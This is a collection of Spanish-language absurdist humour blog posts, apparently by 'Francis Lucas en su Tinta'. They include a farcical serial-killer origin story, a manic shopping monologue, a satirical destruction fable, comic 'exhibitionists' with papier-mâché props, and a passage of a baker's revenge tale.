Hacía un Domingo soleado, estaba en lo alto del Castillo del barrio de Alfama, había comido hierba fresca y buena,tenía trabajo, ganaba dinero (estampitas, como él mismo decía,refiriéndose a los billetes) y estaba contento, muy contento. ¿Por qué no celebrarlo?.</h2>
<h2>
Pepe Toni se animó.</h2>
<h2>
Y no encontró mejor forma de expresarlo que matando a todos los pasajeros de un tranvía, al que se subió con un adoquín en la mano del tamaño de un coco. Uno a uno, estando el tranvía ya en marcha, les fue machacando la cabeza a base de golpetazos mientras gritaba con júbilo "Beeeeeee" en ovina y alborotada batalla. Encontró resistencia, pero era fuerte como un roble y nadie allí se libró de la muerte por impacto brutal del pedrolo en sus cabezas. A 12 personas se cargó el jovencito Jose Luis, sin contar al conductor, que se llamaba curiosamente, Angel Nieto.</h2>
<div>
<br /></div>
<h2>
Una vez cometida tal barbarie, escondió el arma del delito introduciéndola en el cuerpo de una de las víctimas vía anal, para no dejar pistas. Después se bajó del tranvía antes de que éste se empotrase contra un café- donde había cuatro gatos y una chica melancólica bebiendo sin ganas una cerveza disipada- y se alejó del lugar cantando una vieja canción titulada "Viva la gente".</h2>
<h2>
Se sentía pletórico. Pletóricamente perverso, perversamente feliz.</h2>
<div>
<br /></div>
<h2>
La autoridades Lusas dieron la voz de alarma.</h2>
<h2>
Comenzó entonces la gran persecución policial.</h2>
<h2>
Pepe Toni , que sería conocido mas tarde como "el asesino de los Domingos", se convirtió muy pronto en el enemigo público número uno.</h2>
<div>
<br /></div>
<h2>
En la próxima entrega daremos cuenta de cómo llegó nuestro singular personaje a ocupar tal puesto, a la cabeza del ranking criminal de los últimos tiempos.</h2>
<div>
<br /></div>
<h2>
Buenas tardes.</h2>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-86923651613777403372014-02-09T07:29:00.001-08:002014-02-09T07:29:42.999-08:00EL ASESINO DE LOS DOMINGOS. PRESENTACIÓN.<h2>
A la edad de cinco años sus padres le abandonaron en mitad de un bosque. Ecologistas radicales, creían ciegamente en la madre naturaleza y en su poder, no sólo curativo, sino también educativo. "Entre árboles y animales se criará mejor que con nosotros, que estamos corrompidos por la globalización y el dióxido de carbono" pensaron. Así pues, el pequeño Jose Luis -Pepe Toni para sus amigos silvestres- quedó a merced de las alimañas . </h2>
<h2>
Tuvo suerte, una manada de ovejas salvajes se apiadó de él y lo criaron , no entre algodones pero si entre lanas y baladas. Se convirtió en un niño herbívoro, cagón , rumiante y silencioso. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzOlYptU85A9gOvtSC04xfnI0we1-Jar1zL9UUaVPt3R9xn7JVOzvvdgwiA27IOeVT30WrwNQVqfA6P9vPZ2jJFX7U6JT5xeOTCAVukzTrFXa0NdyzgQei7cKdPw4nV9tM6zXhXrE2fyA/s1600/OVEJAS+SALVAJES..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzOlYptU85A9gOvtSC04xfnI0we1-Jar1zL9UUaVPt3R9xn7JVOzvvdgwiA27IOeVT30WrwNQVqfA6P9vPZ2jJFX7U6JT5xeOTCAVukzTrFXa0NdyzgQei7cKdPw4nV9tM6zXhXrE2fyA/s1600/OVEJAS+SALVAJES..jpg" height="179" width="320" /></a></div>
<div>
<br /></div>
<h2>
Tras varios años en ovina y pacífica convivencia, llegó el día en el que el único Lobo ibérico que habitaba la península pasó por aquellas tierras y, como le es propio al Canis Lupus, atacó al rebaño con el fin de echarse algo a la boca. El pánico cundió entre las ovejas ,salvajes pero con dos dedos de frente , que salieron despavoridas monte abajo. Pepe Toni, consciente del peligro, se dijo así mismo "allá donde fueres haz lo que vieres" y corrió como un descosido, primero a cuatro patas, por no dar la nota, y ya después, viendo que el Lobo le perseguía a él , a la manera humana, utilizando sólo las piernas. Con ésto aligeró la carrera y logró quitarse al Lobo de encima, que cambió de opinión y eligió dar caza a una oveja tuerta que al correr se chocaba contra los castaños.</h2>
<h2>
Tanto corrió Pepe Toni que cuando quiso darse cuenta había perdido de vista a su familia adoptiva, sintiéndose desamparado,perdido y agotado. </h2>
<h2>
Dijo "Beeeee" a voces mil veces, ansiando una respuesta sin éxito, hasta que, ya afónico y hasta los huevos (aún pelados,pues contaba tan sólo ocho añitos), se refugió en la casa abandonada de un pequeño pueblo a oscuras, que le trajo recuerdos de su mas tierna y ecológica infancia.</h2>
<h2>
Al despertar, muy temprano, con hambre, con frío y con miedo, se dio cuenta de que no estaba sólo. Al otro lado de la estancia, llena de zarrios viejos y aperos de labranza cubiertos de polvo y telarañas, roncaba tendido sobre un sofá mugriento un adulto humano vestido de colores que echaba para atrás por su fuerte olor a taberna, y es que a su lado se hallaba ,caída y vacía, una garrafa de vino peleón. Él niño entonces aún no sabía que era aquello, pero os lo cuento yo, que sí que lo sé, por eso hablo, sino me callaría.</h2>
<h2>
Pepe Toni, en su inocencia, le dijo "Beeee" y el gandul , sobresaltado,se incorporó de un salto en el sofá, que acabó por derrumbarse, quedando el susodicho en postura deshonesta, con la cabeza en el suelo y las piernas abiertas y en el aire. Estando así, observó con cara de extrañeza a Pepe Toni, que cubría su cuerpecito con lanas de oveja vieja, y soltó un "me cago en la leche!!" en toda regla. Pepe Toni al oír éstas palabras, las primeras en tres años, se echó a llorar de emoción y corrió a abrazar al humano adulto, que no cabía en su asombro. Tras deshacerse de aquel inesperado abrazo e incorporarse, le preguntó a Pepe Toni quién era y qué hacía vestido de aquella manera. El pequeño Pepe Toni le contó a trompicones, salpicados de "Beeees" sin venir a cuento, los avatares de su corta y montaraz vida . Bartolo, que así se llamaba el adulto, creyendo haberse encontrado con un niño anormal en grado sumo, pero conmovido por la historia, decidió acogerlo en su seno, que no era otro que el tren de los escobazos, pues él mismo ejercía como payaso y gerente de tal atracción feriante . Clásica y decadente donde las halla.</h2>
<div>
<br /></div>
<h2>
Tras un buen desayuno, compuesto de café con tostadas para Bartolo y de hierba fresca para Pepe Toni, comenzó una nueva etapa en la vida del Chaval.</h2>
<h2>
Aprendió el oficio de los escobazos fácilmente, pues le gustó desde un principio el arte de dar cachiporrazos a diestro y siniestro, y así, con el cariño y la compañía paternal del payaso borracho y la "estabilidad" del negocio , empezó a conocer mundo y a dejar de decir constantemente "Beeee", expresión ovina que poco a poco se convirtió tan sólo en una coletilla.</h2>
<div>
<br /></div>
<h2>
Pepe Toni había vuelto a la civilización. Sin embargo, no llegó a domesticarse del todo. No se puede decir que fuese odio exactamente, tal vez ...no sé, un espíritu depredador fue el que le empujó a cometer aquellas barbaridades dominicales, que en adelante relataré. Una anomalía en su compleja y asimétrica estructura mental. Un...váyanse ustedes a saber.</h2>
<div>
<br /></div>
<h2>
A la edad de quince años, cuando ya era un maestro del escobazo, le dio por agredir extra- laboralmente a personas, sin motivo aparente.</h2>
<h2>
Fue una tarde de invierno en un pueblo castellano que llovía a chaparrones, un Domingo en el que habían desmontado la atracción y Bartolo abrevaba en el único bar del lugar, cuando se le ocurrió subirse al campanario de la iglesia y desde allí lanzar una teja sobre la cabeza del primer paisano que pasara.</h2>
<h2>
Pasó en mala hora un tal Nicasio, que en paz descanse, y lo descalabró. Así de simple.</h2>
<h2>
Se armó gran revuelo en el pueblo, pero su acción homicida pasó desapercibida. Tenía tal cara de oveja que nadie podía pensar que un chico así pudiese haber hecho aquello. </h2>
<h2>
De hecho "aquello" fue atribuido al mal estado de la techumbre de la iglesia, con lo que acusaron al cura, que no era muy querido en el pueblo por ser guapo y tener a las mujeres encantadas de la vida, religiosamente hablando.</h2>
<div>
<br /></div>
<h2>
A partir de aquel asesinato en primer grado, vinieron mas, muchos mas. Y todos cometidos en Domingo.</h2>
<h2>
Corrían los años 90. </h2>
<h2>
Había nacido un asesino en serie. </h2>
<h2>
Los agentes de la ley empezaron a ir tras la pista, pero no había pistas, con lo que se puede decir mas bien que buscaban a tientas y a locas. Pepe Toni actuaba sin método, sin sentido,con mas suerte que inteligencia, movido por un instinto que ni él mismo comprendía, cometiendo crímenes de lo mas insospechados,ilógicos y definitivamente idiotas. Con el único hilo conductor de ser perpetrados en Domingo. Ya ven ustedes.</h2>
<h2>
Un asesino en serie de capítulos criminales sin argumento.</h2>
<h2>
Un caso difícil, que despistaba al mas experto de los criminalistas.</h2>
<h2>
Simplemente,creen los psiquiatras "le apetecía tener la rutina de cargarse a alguien los Domingos, porque se aburría o porque quiso llevar al extremo la violencia del payaso de los escobazos, tal vez.Sea cual fuere su motivación, estamos ante una mente, mas que atormentada,caprichosa , deforme y atontolinada".</h2>
<h2>
Como he dicho antes y ahora vuelvo a repetir: váyanse ustedes a saber.</h2>
<div>
<br /></div>
<h2>
Nació así, como he contado "EL ASESINO DE LOS DOMINGOS" que hoy día permanece recluido en una cárcel de máxima seguridad,tras ser atrapado en Abril del 2001, donde vive mas ancho que pancho viéndolas venir mientras estudia veterinaria a distancia y duerme a pierna suelta por las noches, y gran parte del día.</h2>
<h2>
En el próximo relato les contaremos (hablo en plural por mera formalidad) una de sus mas famosas y mezquinas hazañas criminales.</h2>
<div>
<br /></div>
<h2>
Dicho queda. </h2>
<div>
<br /></div>
<h2>
Buenas tardes.</h2>
<div>
<br /></div>
<div>
<br /></div>
<h2>
<br /></h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com2tag:blogger.com,1999:blog-1750878783975345277.post-77686083060087734532014-01-06T11:21:00.000-08:002014-01-10T04:36:12.418-08:00SALVAJE DE COMPRAS.<h2>
Me vas a poner 5 kilos de patatas, de esas de ahí, las gordas, ¿son buenas verdad?.Han llamado mi atención nada mas entrar en la tienda.Me han entrado por el ojo.</h2>
<h2>
Eeeh...</h2>
<h2>
Mejor ponme 50, 50 kilos,que después se me acaban enseguida. Qué buena pinta tienen...definitivamente quiero 50 sacos de 25 kilos. Eso es, 50 sacos de buenas patatas. En cuanto llegue a casa pienso hacer una gran tortilla de patatas en la paellera Valenciana que me trajo mi primo Pascual el pasado año por éstas fechas. ¿Qué mas?...ah si, tomates. Los quiero rojos, redonditos y que boten cuando los lanzas al suelo, como las pelotas de tenis, ¿sabes de los que te hablo,no?. Pues de esos me vas a poner...qué se yo, una gran cantidad, una cantidad desproporcionada, un montón de ellos,a tutiplén, todos los que tengas tú y tus proveedores,muchísimos,una exageración.</h2>
<h2>
Eso es: me vas a poner una exageración de tomates que botan cuando los lanzas al suelo. En cuanto llegue a casa, mientras hago la tortilla de patatas, organizaré una tomatina en la cocina.Por la ventana, a voces, invitaré a todos los vecinos. Lo pasaremos estupendamente y nos pondremos guarros, muy guarros.</h2>
<h2>
Pero no nos vayamos por las ramas, que aunque descendemos del mono, a mí el anís no me gusta.</h2>
<h2>
Pimientos: uno verde que te quiero verde y otro rojo que te lo cojo. Muy bien. </h2>
<h2>
Cebollas, ajos, puerros, calabacines, pepinos, lechugas,repollos,acelgas,coliflores...dame todo lo que tengas!!!!. No, no levantes las manos, ésto no es un atraco, será un atracón, pero ahora es lo que es, una compra en toda regla.</h2>
<h2>
Los repollos no me los metas en bolsas, tíramelos a la cara, a la cara,si, no seas tímido, si no lo haces no volveré a comprar aquí. Eso es, ahí está. A repollazo limpio conmigo, ensáñate ahora que puedes. </h2>
<h2>
Mas cosas: Melones ,calabazas, sandías. Eeeehhh.....</h2>
<h2>
Métetelas todas por el culo, no me gustan. Procede!!!</h2>
<h2>
¿NO PROCEDES?</h2>
<h2>
PROCEDE!!!</h2>
<h2>
¿QUE NO PROCEDES?</h2>
<h2>
¿Cómo? ¿no te caben?, pues pártelas todas con la cabeza entonces; me llevaré los trozos para los cerdos, que tengo tres,tres cerditos. Se construyeron sus propias casas,¿sabes?, como en el cuento.</h2>
<h2>
El mayor,muy responsable, se la hizo en condiciones, con ladrillos y tal, el mediano es un pelín mas hippy y se la hizo de troncos y palos. El mas pequeño es imbécil de nacimiento, se la construyó de paja. </h2>
<h2>
Pues bien, vino el Lobo feroz y se llevó por delante la casa de ladrillos del mayor, ¿te lo puedes creer?, pues así fue,como te lo cuento. Ahora el mayor vive conmigo, los otros dos vienen sólo para comer. Así es que trocéame esos melones, esas calabazas y esas sandías. </h2>
<h2>
Fruta de tamaño lógico,normal y decente también quiero, ¿cómo no voy a querer?. Manzanas, naranjas,peras y plátanos. Cincuenta kilos de cada, ¿qué digo cincuenta? cien !!!, ¿qué digo cien? mil!!!. Rápido, que tengo prisa. </h2>
<h2>
¿Tenéis aceite, vinagre y sal?, no me digas que no... ¿que no?. Es una auténtica lástima. Dame entonces un número indeterminado de jamones, paletas para parar un tren, pollos a mansalva, salchichas hasta decir basta (y hasta que no lo diga no pares) y doce docenas de huevos XL.</h2>
<h2>
Salchichas, salchichas,salchichas,mas salchichas, mas salchichas, mas salchichas....BASTA!!!</h2>
<h2>
También quiero dulce de membrillo que, aunque es incontable, me vas a poner 57 litros. Y remolachas, que aunque se pueden contar, me vas a poner cachondo. Perdón, no quería decir eso, es que tengo tanta prisa que ya no se ni dónde estoy, ¿ésto es una tienda de esas que vendéis de todo,no?. Claro que sí, tonto no soy.Por cierto, veo pocas patatas ahí, quiero mas patatas, afánese, afánese, hijo de Dios!!!.</h2>
<h2>
Las Remolachas, estaba hablando de las remolachas. las quiero a pares, y todas ellas envueltas en papel de regalo, si es posible. Tengo ciertos compromisos, la familia política, la económica, la ecológica, ya sabes. Envólvemelas con cariño, con dulzura, trátalas con mimo, no repares en arrumacos y carantoñas. </h2>
<h2>
Muy bien,muy bien, ¿cómo te llamas?.No, no me lo digas, era una pregunta retórica. Eeeeehhhhh...si, ahora lo que necesito son artículos inútiles, adornos, memeces y cosas caras en general. ¿Aquí no tenéis de eso,verdad?, me lo temía, iré a otro sitio, no te preocupes.</h2>
<h2>
Ve llamando a un camión de mudanzas que lo voy a necesitar, no he traído carrito de la compra y he de llevarme éste tonelaje de comida para mí y para mis cerdos.</h2>
<h2>
Por cierto, siento mucho lo de tu madre. ¿Cómo?,¿que no ha muerto?,pensaba que sí,cierta intuición extraña se cruzó por mi cabeza en éste instante que acaba de pasar, ¿lo ves?, ya pasó!, y ahí va otro instante, y otro y otro!!, lluvia de instantes fugaces!!,¿qué te parece?, así es la vida,mozalbete!!. No te conozco ,pero...olvídalo!. Lo siento mucho.No,no siento que no se halla muerto tu madre, siento la confusión.El caso es que tu cara me suena y tu madre me la pela... Cóbrate anda y no me líes, que me quieres liar.Dime lo que te debo, ¿cuánto es?.</h2>
<h2>
Eso es una barbaridad!!!, una auténtica Barbaridad!!!</h2>
<h2>
Me parece justo.</h2>
<h2>
Que Dios te lo pague, ¿eres cristiano,no?...¿no eres cristiano?, ¿y no te da vergüenza?, pero si tenemos un Papa que es mas bueno que el pan!!. Ya decía yo que se me olvidaba algo, EL PAN!!. Dame 50 barras en filas de a dos. Las quiero firmes,marciales,legionarias puestos a pedir,obedientes, odio las barras de pan que me rechistan, ¿rechistarme a mí?, de eso nada, monada.Con las barras rebeldes no tengo piedad, las rompo, las hago trizas,las desmenuzo!!. menudo soy yo con las barras de pan rebeldes.</h2>
<h2>
No te quedes parado muchacho,me miras como si tuviese monos en la cara y ya te he dicho que el Anís no me gusta. PROCEDE!!, PROCEDE CON LAS BARRAS DE PAN!!!, en filas de a dos. ARRRRR!.</h2>
<h2>
No se hable mas, te pagaré: Toma éste billete de cinco euros, perteneció a mi peluquero, y antes a un bailarín ruso, y antes a una camionera alemana y antes a Jorge Drexler, que le sirvió de cambio para una de las monedas que le inspiró una preciosa canción y que aquí no viene a cuento cantar porque tengo prisa y afonía, de tanto hablar.Sólo te diré que éste vil billete tiene mucho valor para mí, quédatelo. </h2>
<h2>
Y ahora me despido de ti, muchachote. Has sido muy atento conmigo, y muy paciente, tal vez se deba a que tienes cierto retraso,a que estés educado a la antigua usanza, a que seas especial,superdotado o mutante,a que la parsimonia sea una constante en tu vida de empleado,a que estés inhibido,embotado o reencarnado en Kafka, a que seas un angelito o un pequeño Buda, a que no entiendas mi idioma y seas del Kurdistán o a que estés muerto y yo sea Bruce Willis en "El Sexto sentido"... ahora mismo ni lo se ni me importa,pero el caso es que te lo agradezco. Simplemente te lo agradezco.</h2>
<h2>
Un último favor, ¿tienes agua?, sácame una garrafa de X litros, me los beberé de un trago, tengo la garganta seca. </h2>
<h2>
Muy amable.</h2>
<h2>
GLUB GLUB GLUB GLUB GLUB, AAAAARGG. Qué bien me ha sentado. Una vez mas, gracias.</h2>
<h2>
Ahí está el camión de mudanzas, recogerán toda mi compra.</h2>
<h2>
Me voy pitando, piiiiii.</h2>
<h2>
Adiós muy buenas.</h2>
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-45256999541265390042013-12-21T07:08:00.000-08:002013-12-21T07:08:05.830-08:00PENSAMIENTO CHAPAPOTE MOMENTÁNEO. <h2>
La poesía en los libros, los animales en el zoo,la política en sus manos y en las nuestras el mando del televisor.</h2>
<h2>
Cansado de todo ésto me abrí en canal, descubriendo que por fuera era de peluche y que por dentro habitaba en mí un ser convertido en bestia tras tantos años a la sombra,ignorado, condenado al no ser,al no hablar y al no sentir. </h2>
<h2>
Abierta la grieta, salió al exterior, dejando atrás la cáscara seca de mi personaje cotidiano.</h2>
<h2>
Lo primero que hizo la bestia , loca de entusiasmo, fue apagar todas las luces navideñas de la ciudad y encender la cólera de gobernantes y empresarios. Una vez hecho ésto se declaró a sí misma descendiente de Ubú Rey, aquel monarca burlesco y cruel, y reclutó de entre los muy indignados una corte de malditos bastardos con el fin de no dejar títere con cabeza en la comarca, en la región, en el país y en el continente.</h2>
<h2>
Armados hasta los dientes arrasaron bancos,Ayuntamientos, congresos,sedes,palacios,vaticanos y cuarteles. El espíritu de Atila les acompañaba, allá por donde pasaban no volvía a crecer ni la hierba corrompida,ni la especulación, ni el cohecho ni la prevaricación .</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9GfZyjGNVogZFnuF4p1N6-l2qPD0us0zIDMhN4-uIGltYb76gfpRrpYjFYOQ9uz_7ULoqqmz1qQQFR26kW2LbI_Mw2nbIjxllipmUR2qur5orj5oOh-htyYSg7WflIbV6qBas5Xd3nEs/s1600/ubu_fr+(1).png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9GfZyjGNVogZFnuF4p1N6-l2qPD0us0zIDMhN4-uIGltYb76gfpRrpYjFYOQ9uz_7ULoqqmz1qQQFR26kW2LbI_Mw2nbIjxllipmUR2qur5orj5oOh-htyYSg7WflIbV6qBas5Xd3nEs/s320/ubu_fr+(1).png" width="320" /></a></div>
<div>
( La Bestia- descendiente de Ubú Rey- rodeando el congreso antes de dar matarile a todo lo que en su interior se menea)</div>
<h2>
Destruida la ciudad, avanzaron por los caminos sin Dios, con tanta piedad como Gengis Kan, el mongol. </h2>
<h2>
Tras ellos sólo quedaban las llamas del odio,el fuego de la venganza y el humo de la sentencia.</h2>
<h2>
Y la corte de los malditos bastardos aumentaba cada día, alimentada por nuevas bocas ,cansadas de no servir de nada, y de nuevas manos dispuestas a tomarse la barbarie por su cuenta, ya que la justicia, tantas veces violada, vagaba loca por algún desierto lejano, ajena a todos y enajenada por todo. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRMbQXSlzRFaUvXKepEjuzvyXb1pmGgh6T0XzS09I4WRVdam3OTwrILJI6inutWykX53a-ZWTQHCCfBRDNl50hEuHOtjfPnYXaBAwIlYhgZg4SC_j4wIhoSgOR5a2LdZ1Xs5C5TzPxk2U/s1600/MALDITOS+BASTARDOS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRMbQXSlzRFaUvXKepEjuzvyXb1pmGgh6T0XzS09I4WRVdam3OTwrILJI6inutWykX53a-ZWTQHCCfBRDNl50hEuHOtjfPnYXaBAwIlYhgZg4SC_j4wIhoSgOR5a2LdZ1Xs5C5TzPxk2U/s320/MALDITOS+BASTARDOS.jpg" width="320" /></a></div>
<div>
(He aquí un grupo de malditos bastardos tras una batalla , pensando en la siguiente)</div>
<h2>
La bestia, descendiente de Ubu Rey, y la corte de orcos humanos burlescos y despiadados, fueron convirtiendo el continente entero en una mancha negra, un vertido residual pegajoso y expansivo. </h2>
<h2>
Hasta que no lo consiguieron, no pararon. Insaciables hasta el fin de revancha y destrucción.</h2>
<h2>
Conseguido el objetivo, hicieron lo propio: se suicidaron para no convertirse, con el tiempo, en demócratas de cartón piedra o en muñecos de peluche fácilmente manipulables.</h2>
<div>
<br /></div>
<h2>
Dejaron paso así a una nueva sociedad, nacida de un ajuste de cuentas, de una masacre animal. </h2>
<h2>
Pues animales somos y ,aunque lo queramos olvidar, ahí está nuestro instinto, dispuesto a salir si nos abren,o nos abrimos en canal. </h2>
<div>
<br /></div>
<h2>
(Éste es un bonito cuento para leerle a los niños en Navidad o en cualquier otra fecha. Tarde o temprano comprenderán. )</h2>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-7243494821479131282013-12-15T07:43:00.001-08:002013-12-16T11:14:14.085-08:00LOS EXHIBICIONISTAS.<h2>
Los exhibicionistas clásicos como yo somos unos incomprendidos hoy día. Incomprendidos, rechazados, marginados, perseguidos y , para colmo, sustituidos cruel y atropelladamente por un montón de variantes modernas, todas ellas toleradas e incluso bien vistas, de nuestro propio impulso y afición.</h2>
<h2>
El paso del tiempo y el maquillaje de la moral nos ha dejado en muy mal lugar. Es una pena.</h2>
<h2>
Añoro aquellos tiempos en los que salía a la calle lleno de excitación, dispuesto a provocar sensaciones y emociones por sorpresa. Buscaba el encuentro fortuito en lugares poco transitados con personas de aspecto apocado, aparvado, amilanado, amodorrado o despistado. Al llegar frente a ellas, a unos dos metros de distancia, abría mi gabardina gris de par en par dejando ver la careta de un león o de un cocodrilo, de fabricación casera,con las fauces abiertas. Al mismo tiempo , rugía fieramente "AArgggg!!!" para mayor espasmo de la víctima, que solía gritar al ver la bestia entre mis piernas y escuchar el alarido de mi boca , dar un bote y salir despavorida diciendo a voces "habrase vistooooo!!". Mi actuación siempre resultaba un éxito, siempre sorprendía, nunca se esperaba. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVlbXNPGOSYT3G0hYF2ue4bFD9_au_PVUoZw7StcYkAglLXdOdKM7iAanf2YAKNXmQXoOhVKwj27xhxlWxozl5EJxBZ9roQ9FvxViw2NrCTCEdeMmdc_AjYC7r4xNI3BMwP2Ie01h0hjk/s1600/El+exhibicionista.Sara+Lew.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVlbXNPGOSYT3G0hYF2ue4bFD9_au_PVUoZw7StcYkAglLXdOdKM7iAanf2YAKNXmQXoOhVKwj27xhxlWxozl5EJxBZ9roQ9FvxViw2NrCTCEdeMmdc_AjYC7r4xNI3BMwP2Ie01h0hjk/s320/El+exhibicionista.Sara+Lew.jpg" width="194" /></a></div>
<h2>
</h2>
<h2>
Ahora es todo tan previsible...hay tantos exhibicionistas!. Mires a donde mires, enciendas el aparato que enciendas,te encuentras con alguien que te refriega por la cara sus miserias, su mal gusto,su insolencia, su ignorancia,su apabullante cultura,sus músculos,su estiramiento de piel,sus tatuajes,su silicona ,su nuevo peinado,su nalga izquierda,su exótica mascota,su armamento nuclear,su dinero robado, su delincuencia en exclusiva, su apartamento de lujo,su cocina, sus trucos de belleza,sus recetas espirituales,su caries,su intimidad radiografiada, su mierda...y en primer plano. </h2>
<h2>
Pero nadie grita ni sale corriendo ni dice a voces "habrase vistooooo!!!". Claramente, nosotros lo hacíamos mejor.</h2>
<h2>
Éramos pocos - nueve, en la ciudad donde vivo, concretamente- pero estábamos bien organizados . Hacíamos asambleas mensuales en sótanos abandonados. Allí nos distribuíamos por zonas, cambiando el perímetro de actuación personal cada cierto tiempo para que no nos pillara la policía,por un lado, y para no convertirnos en el exhibicionista del barrio,por otro. Efecto sedante que hubiese sido totalmente contraproducente con respecto al logro de nuestros objetivos, que no eran otros que la provocación, el arte y el cachondeo. </h2>
<div>
<br /></div>
<h2>
Y cada uno tenía su personalidad, su idiosincrasia, su modus operandi ,su fiera particular que exhibir y con la que causar admiración y espanto.</h2>
<div>
<br /></div>
<h2>
Emilio "el Zapata", por ejemplo, solía sentarse acurrucado en las aceras, con la cabeza gacha, vestido con un poncho y un sombrero mexicano. Cuando veía acercarse a alguien que caminaba distraído levantaba la cabeza, decía de pronto"mira wey" y se levantaba el poncho dejando ver un cactus de medio metro muy bien hecho (con papel maché) que brotaba de su entrepierna. La gente se quedaba totalmente descolocada al ver ésto. Tras la rápida exhibición del cactus, Emilio se tapaba con el poncho y adoptaba de nuevo la posición de dormido, con lo cual, la víctima seguía su camino aún mas confundida, sin dar crédito a lo que había sucedido. Con frecuencia tropezaban contra una farola o una papelera, cerca de las que Emilio se colocaba estratégicamente buscando tal resultado, para su gozo y disfrute particular.</h2>
<div>
<br /></div>
<h2>
Margarita "la viuda" tenía también una forma curiosa de exhibir su excentricidad.</h2>
<h2>
A las puertas de una Iglesia, aprovechando la salida de un funeral, lloraba vestida de negro. Alguien siempre se le acercaba a consolarla, momento que ella aprovechaba ágilmente para darle la espalda, levantarse el vestido, ponerle el culo en su nariz y decirle alto y claro "toma pompa fúnebre". Tras lo cual, ahuecaba el ala como el que no quiere la cosa, dejando al pobre gorrión o jilguera con la palabra "quesquesé???" u "Ohmygod!!!" en la boca, patidifuso , mojigata, encogido de hombros, creyendo haber tenido una extraña y repentina alucinación.</h2>
<div>
<br /></div>
<h2>
Gran fama y alboroto se ganó también Jeremías con su técnica del "Buzo caganet". Actuaba en tiendas de ropa. Se metía en los probadores, sacaba un orinal de la mochila y se ponía a cagar con gafas y aletas de buzo (que llevaba también guardadas en la mochila) con la cortina a medio correr. Cuando entraba alguien a probarse algo de verdad, decía ,simulando pudor y sorpresa, "Está ocupado,por favor!" y corría la cortina del todo de un tirón. Los que veían aquella imagen del Buzo cagando en el orinal,siempre por décimas de segundo, no podían creerlo. Después salía Jeremías, ya de paisano,tranquilamente, dejando a la víctima con grandes dudas sobre su propia salud mental, tras la cortina, esperando su turno. </h2>
<div>
<br /></div>
<h2>
Si, eran otros tiempos aquellos. </h2>
<h2>
Quizá en otra ocasión cuente lo que sucedió el día en el que actuamos todos juntos en el centro de la ciudad, por navidades. </h2>
<h2>
Se armó un gran escándalo. </h2>
<h2>
Escándalo, ese toque mágico que , sabiamente usado, le da a un espectáculo la categoría de inolvidable o, al menos, de impactante. </h2>
<h2>
Ese toque que se echa en falta por exceso, que aburre por desmesura, que embota y desaparece si se usa sin medida. </h2>
<h2>
¿Dónde estará mi careta de cocodrilo?...voy a buscarla, quizá aun quede alguien a quien asustar o sorprender.</h2>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-33798929027281647062013-11-04T08:50:00.000-08:002013-11-04T08:50:49.626-08:00LA VENGANZA DEL PANADERO. FINAL.<h2>
Narvaez camina hacia delante empujado por Manolo sin saber a dónde le lleva, tan asustado y sorprendido que le cuesta mantener la respiración; es como si hubiese entrado de golpe en el cuerpo de una persona que acaba de ser secuestrada.No se lo puede creer.</h2>
<h2>
Sin embargo, la presión de la punta del cuchillo sobre su costado izquierdo le obliga a despertar, cosa que hace de repente cuando Manolo lo introduce en la panadería, percatándose antes de que nadie los ve entrar.</h2>
<h2>
(Mal se percató Manolo,pues pasó por alto un paraguas negro, abierto tras un contenedor de materia orgánica, verde militar, al fondo de la calle. Bajo ese paraguas se escondía Antonia, la anciana lectora de Agatha Christie, que siempre quiso ser policía secreta o algo así).</h2>
<div>
<br /></div>
<h2>
Al entrar en la panadería le da un ataque de pánico a Narvaez. Se halla inmerso ahora en el escenario de sus Pesadillas mas horribles. Manolo , ante el "baile San Vito" que le entra al Doctor, opta por atizarle un golpetazo en la cabeza con un rodillo de madera. Después lo tiende boca arriba en una lámina de acero que previamente coloca sobre una camilla. </h2>
<h2>
Enciende el horno para que se vaya calentando. </h2>
<h2>
Mientras tanto, se quita las gafas de sol, la peluca, la chupa de cuero, el pantalón ajustado y las malditas botas, que le tienen los pies en penitencia de encogimiento y escozor.Suspira de alivio nada mas quitárselas.</h2>
<h2>
Llena un cubo de agua que echa sobre Narvaez. Éste abre los ojos , pero recibe otro rodillazo (de rodillo, no de rodilla) y vuelve al estado de inconsciencia.</h2>
<h2>
Manolo arrastra un saco de harina de 25 kilos hasta ponerlo al lado de la camilla donde está tendido Narvaez. Lo abre con el cuchillo jamonero,respira hondo y empieza a cubrir el cuerpo del Doctor con harina puñado a puñado, lentamente,como si fuese un ritual, saboreando la hora de la venganza.</h2>
<h2>
"El Manguis" coge un taxi en la puerta de la estación de tren y le da al taxista un papel donde viene apuntada la dirección de la consulta de Narvaez .</h2>
